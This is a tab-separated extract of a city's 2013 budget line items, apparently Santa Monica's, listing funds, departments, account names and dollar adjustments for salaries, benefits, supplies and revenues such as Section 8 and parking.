2532	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	14709.0	0	0.0	0.0	0	0	0.0	147	0.0	0	0	0.0	14856.0
2533	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EAP	816.0	Salaries and Wages	2013	1348.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1348.0
2534	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522620.0	RENT	816.0	 Supplies and Expenses	2013	158927.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	158927.0
2535	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522720.0	MILEAGE	816.0	 Supplies and Expenses	2013	1300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1300.0
2536	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	3500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3500.0
2537	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2013	1150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1150.0
2538	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	2500	0.0	0	0	0.0	2500.0
2539	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2013	12835.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12835.0
2540	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	407180.0	VALET LICENSING FEES	608.0	Licenses and Permits	2013	-75000.0	0	0.0	0.0	0	0	0.0	0	0.0	75000	0	0.0	0.0
2541	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	408000.0	INTERFUND SERVICES-TMP	612.0	Charges for Service	2013	-2046536.0	0	0.0	0.0	0	0	0.0	0	0.0	2046536	0	0.0	0.0
2542	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407210.0	EVENT PERMIT FEE	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2543	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2013	-651946.0	0	0.0	0.0	0	0	0.0	-6519	0.0	0	0	0.0	-658465.0
2544	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401590.0	PLANNING PRESUBMITTAL REVIEW	612.0	Charges for Service	2013	-3050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3050.0
2545	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2013	1738.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1738.0
2546	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511748.0	DENTAL		Salaries and Wages	2013	4385.0	0	0.0	486.0	0	0	0.0	0	0.0	0	0	0.0	4871.0
2547	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2013	67262.0	0	0.0	-3922.0	0	0	0.0	633	0.0	0	0	0.0	63973.0
2548	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522825.0	FOOD PURCHASES		 Supplies and Expenses	2013	180.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	180.0
2549	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2013	98000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	98000.0
2550	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533240.0	PIER MAINTENANCE		 Supplies and Expenses	2013	391914.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	391914.0
2551	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2013	5081.0	0	0.0	0.0	0	0	0.0	51	0.0	0	0	0.0	5132.0
2552	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2013	6843.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6843.0
2553	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511749.0	VISION		Salaries and Wages	2013	541.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	541.0
2554	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
2555	B1	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	404940.0	AB2766 MBILE SRCE AIR POLL FEE	610.0	Intergovernmental	2013	-110000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-110000.0
2556	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	407290.0	FUEL SURCHARGE	650.0	Charges for Service	2013	-66300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-66300.0
2557	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511490.0	OVERTIME	808.0	Salaries and Wages	2013	84066.0	0	0.0	0.0	0	0	0.0	841	0.0	0	0	0.0	84907.0
2558	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	4638.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4638.0
2559	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2013	43241.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	43241.0
2560	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
2561	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2013	0.0	0	0.0	-2776.5	0	0	0.0	0	0.0	0	0	0.0	-2776.5
2562	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2013	5387.0	0	0.0	0.0	0	0	0.0	-111	0.0	0	0	0.0	5276.0
2563	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2013	57431.0	0	0.0	0.0	0	0	0.0	-1092	0.0	0	0	0.0	56339.0
2564	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		UNEMPLOYMENT		Salaries and Wages	2013	1679.0	0	0.0	0.0	0	0	0.0	11	0.0	0	0	0.0	1690.0
2565	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2013	1228.0	0	0.0	0.0	0	0	0.0	38	0.0	0	0	0.0	1266.0
2566	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2013	423.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	423.0
2567	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	7000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7000.0
2568	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577530.0	FARMERS' MKT EDUCATION PRGS		 Supplies and Expenses	2013	13600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13600.0
2569	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2013	1064210.0	0	0.0	5202.0	0	0	0.0	10694	0.0	0	0	0.0	1080106.0
2570	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		EAP	804.0	Salaries and Wages	2013	1249.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1249.0
2571	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-10345.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10345.0
2572	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2013	8327.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8327.0
2573	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402270.0	SPECIAL INSURANCE	650.0	Charges for Service	2013	-81206.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-81206.0
2574	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400883.0	SPC HAP SU05	610.0	Intergovernmental	2013	-283911.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-283911.0
2575	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400885.0	SPC HAP NEW	610.0	Intergovernmental	2013	-312973.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-312973.0
2576	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400923.0	SPC ADMIN SU05	610.0	Intergovernmental	2013	-19874.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-19874.0
2577	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	17374.0	0	0.0	0.0	0	0	0.0	5043	0.0	0	0	0.0	22417.0
2578	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 ADMIN	610.0	Intergovernmental	2013	-1054121.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1054121.0
2579	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FRAUD RECOVERY	610.0	Intergovernmental	2013	-90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-90000.0
2580	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	755236.0	0	0.0	0.0	0	0	0.0	-46233	0.0	0	0	0.0	709003.0
2581	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2013	22519.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	22519.0
2582	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-6856.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6856.0
2583	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	7826.0	0	0.0	0.0	0	0	0.0	78	0.0	0	0	0.0	7904.0
2584	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
2585	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FSS ADMIN	610.0	Intergovernmental	2013	-65286.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-65286.0
2586	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400394.0	HAP REVENUE - PORTS	610.0	Intergovernmental	2013	-300000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-300000.0
2587	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2013	-28000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-28000.0
2588	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2589	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555210.0	TRAINING	816.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
2590	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2013	172495.0	0	0.0	0.0	0	0	0.0	1725	0.0	0	0	0.0	174220.0
2591	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-3892.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3892.0
2592	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2013	722.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	722.0
2593	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1438.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1438.0
2594	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2013	38363.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	38363.0
2595	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511749.0	VISION	804.0	Salaries and Wages	2013	274.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	274.0
2596	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	1815.0	0	0.0	0.0	0	0	0.0	18	0.0	0	0	0.0	1833.0
2597	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-53170.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-53170.0
2598	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-34288.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-34288.0
2599	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-279690.0	0	0.0	0.0	0	0	0.0	26088	0.0	0	0	0.0	-253602.0
2600	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2013	-89995.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-89995.0
2601	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	3476.0	0	0.0	0.0	0	0	0.0	567	0.0	0	0	0.0	4043.0
2602	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407611.0	CITY WI-FI ADVERTISING	612.0	Charges for Service	2013	-5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5000.0
2603	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511741.0	MEDICAL - POLICE	804.0	Salaries and Wages	2013	17913.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17913.0
2604	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2013	960.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	960.0
2605	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	2742.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2742.0
2606	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	37721.0	-1262	0.0	0.0	0	0	0.0	-2537	0.0	0	0	0.0	33922.0
2607	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	222415.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	222415.0
2608	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401002.0	SWIM CENTER-REC/LAP SWIM	612.0	Charges for Service	2013	-204809.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-204809.0
2609	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401009.0	SWIM CENTER-AQUATIC SUPPLIES	612.0	Charges for Service	2013	-10558.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10558.0
2610	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1938.0	0	0.0	0.0	0	0	0.0	19	0.0	0	0	0.0	1957.0
2611	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	2180.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2180.0
2612	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561406.0	DIRECT SERVICES		 Supplies and Expenses	2013	25682.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25682.0
2613	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	39013.0	0	0.0	-10000.0	0	0	0.0	0	0.0	0	0	0.0	29013.0
2614	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	2435.0	0	0.0	-900.0	0	0	0.0	0	0.0	0	0	0.0	1535.0
2615	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	1379.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1379.0
2616	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403820.0	SUMMER FOOD SERVICE PROGRAM	610.0	Intergovernmental	2013	-22045.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-22045.0
2617	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2013	3143.0	0	0.0	-900.0	0	0	0.0	0	0.0	0	0	0.0	2243.0
2618	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2013	1548.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1548.0
2619	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2013	341.0	0	0.0	0.0	0	0	0.0	3	0.0	0	0	0.0	344.0
2620	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561700.0	TEMP RELOCATION FOOD PROVIDERS		 Supplies and Expenses	2013	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
2621	B1	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407790.0	CHILDCARE LINKAGE FEE	612.0	Charges for Service	2013	-45000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-45000.0
2622	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2013	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
2623	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511748.0	DENTAL	804.0	Salaries and Wages	2013	4487.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4487.0
2624	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		UNEMPLOYMENT	804.0	Salaries and Wages	2013	2227.0	0	0.0	0.0	0	0	0.0	22	0.0	0	0	0.0	2249.0
2625	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DCAP	804.0	Salaries and Wages	2013	288.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	288.0
2626	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		UNEMPLOYMENT	804.0	Salaries and Wages	2013	6282.0	0	0.0	0.0	0	0	0.0	63	0.0	0	0	0.0	6345.0
2627	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DCAP	804.0	Salaries and Wages	2013	792.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	792.0
2628	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404430.0	MAIN STREET PARKING LOTS	608.0	Licenses and Permits	2013	-1020000.0	0	0.0	0.0	0	0	0.0	0	0.0	1020000	0	0.0	0.0
2629	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2013	94434.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	94434.0
2630	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2013	510.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510.0
2631	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511748.0	DENTAL	804.0	Salaries and Wages	2013	11114.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11114.0
2632	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN		UNEMPLOYMENT	804.0	Salaries and Wages	2013	5110.0	0	0.0	0.0	0	0	0.0	51	0.0	0	0	0.0	5161.0
2633	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2013	2374053.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2374053.0
2634	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2635	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2013	70000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	70000.0
2636	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	402260.0	PROPERTY INSURANCE	650.0	Charges for Service	2013	-2364344.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2364344.0
2637	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533040.0	SPECIAL INSURANCE	806.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
2638	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400882.0	SPC HAP TRA	610.0	Intergovernmental	2013	-1585798.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1585798.0
2639	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400924.0	SPC ADMIN EXPANSION	610.0	Intergovernmental	2013	-17170.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-17170.0
2640	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400925.0	SPC ADMIN NEW	610.0	Intergovernmental	2013	-21908.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-21908.0
2641	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	1647	0.0	0	0	0.0	1647.0
2642	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	65268.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65268.0
2643	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511748.0	DENTAL	816.0	Salaries and Wages	2013	11307.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11307.0
2644	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522180.0	BANK FEES	816.0	 Supplies and Expenses	2013	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
2645	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	816.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
2646	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577040.0	AUDIT FEES	816.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
2647	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	812.0	 Supplies and Expenses	2013	12813.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12813.0
